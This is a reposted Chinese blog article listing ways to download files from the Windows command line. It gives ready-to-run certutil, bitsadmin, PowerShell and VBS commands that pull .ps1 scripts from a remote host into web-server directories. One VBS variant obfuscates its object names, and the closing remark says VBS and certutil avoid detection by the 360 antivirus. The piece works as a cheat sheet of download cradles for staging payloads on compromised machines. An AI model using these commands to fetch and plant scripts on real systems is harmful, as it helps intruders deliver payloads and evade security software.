windows命令行下载文件

来源:简书 分类: 文章浏览史 发布时间:2020-06-14 21:28:52 最后更新:2020-06-14 浏览:4127
转载声明:
本文为摘录自“简书”,版权归原作者所有。
温馨提示:
为了更好的体验,请点击原文链接进行浏览
摘录时间:
2020-06-14 21:28:52

前言

在windows的环境下,dos窗口里有以下多个命令支持下载。笔者最常用的有powershell、vbs、certutil、bitadmin等命令。

certutil

certutil -urlcache -split -f http://192.168.203.140/b.ps1

适用于server 2003以上版本
详情参考:
https://docs.microsoft.com/en-us/previous-versions/orphan-topics/ws.10/cc773087(v=ws.10)?redirectedfrom=MSDN

bitsadmin

bitsadmin /transfer myDownLoadJob /download /priority normal "http://192.168.203.140/b.ps1" "E:\\phpstudy_pro\\WWW\\b.ps1"

适用于windows 7以上版本。
详情参考:
https://docs.microsoft.com/zh-cn/windows/win32/bits/bitsadmin-tool?redirectedfrom=MSDN

powershell

powershell (new-object Net.WebClient).DownloadFile('http://192.168.203.140/a.ps1','E:\phpstudy_pro\WWW\a.ps1')

适用于windows 7以上版本。

vbs

第一种把下载地址直接echo输入download.vbs。直接下载即可。

echo Set Post = CreateObject("Msxml2.XMLHTTP") >>download.vbs
echo Set Shell = CreateObject("Wscript.Shell") >>download.vbs
echo Post.Open "GET","http://192.168.203.140/a.ps1",0 >>download.vbs
echo Post.Send() >>download.vbs
echo Set aGet = CreateObject("ADODB.Stream") >>download.vbs
echo aGet.Mode = 3 >>download.vbs
echo aGet.Type = 1 >>download.vbs
echo aGet.Open() >>download.vbs
echo aGet.Write(Post.responseBody) >>download.vbs
echo aGet.SaveToFile "D:/a.ps1",2 >>download.vbs

第二种保存脚本后再下载指定文件。

echo set a=createobject(^"adod^"+^"b.stream^"):set w=createobject(^"micro^"+^"soft.xmlhttp^"):w.open^"get^",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2  >> downfile.vbs
cscript downfile.vbs http://192.168.203.140/a.ps1 D:\\tomcat8.5\\webapps\\x.ps1

适用于server 2003 以上版本
更多下载命令参考
Windows下载执行命令大全

总结

经过多方测试,vbs不会遭到360拦截,certutil也可能不会拦截。

php技术微信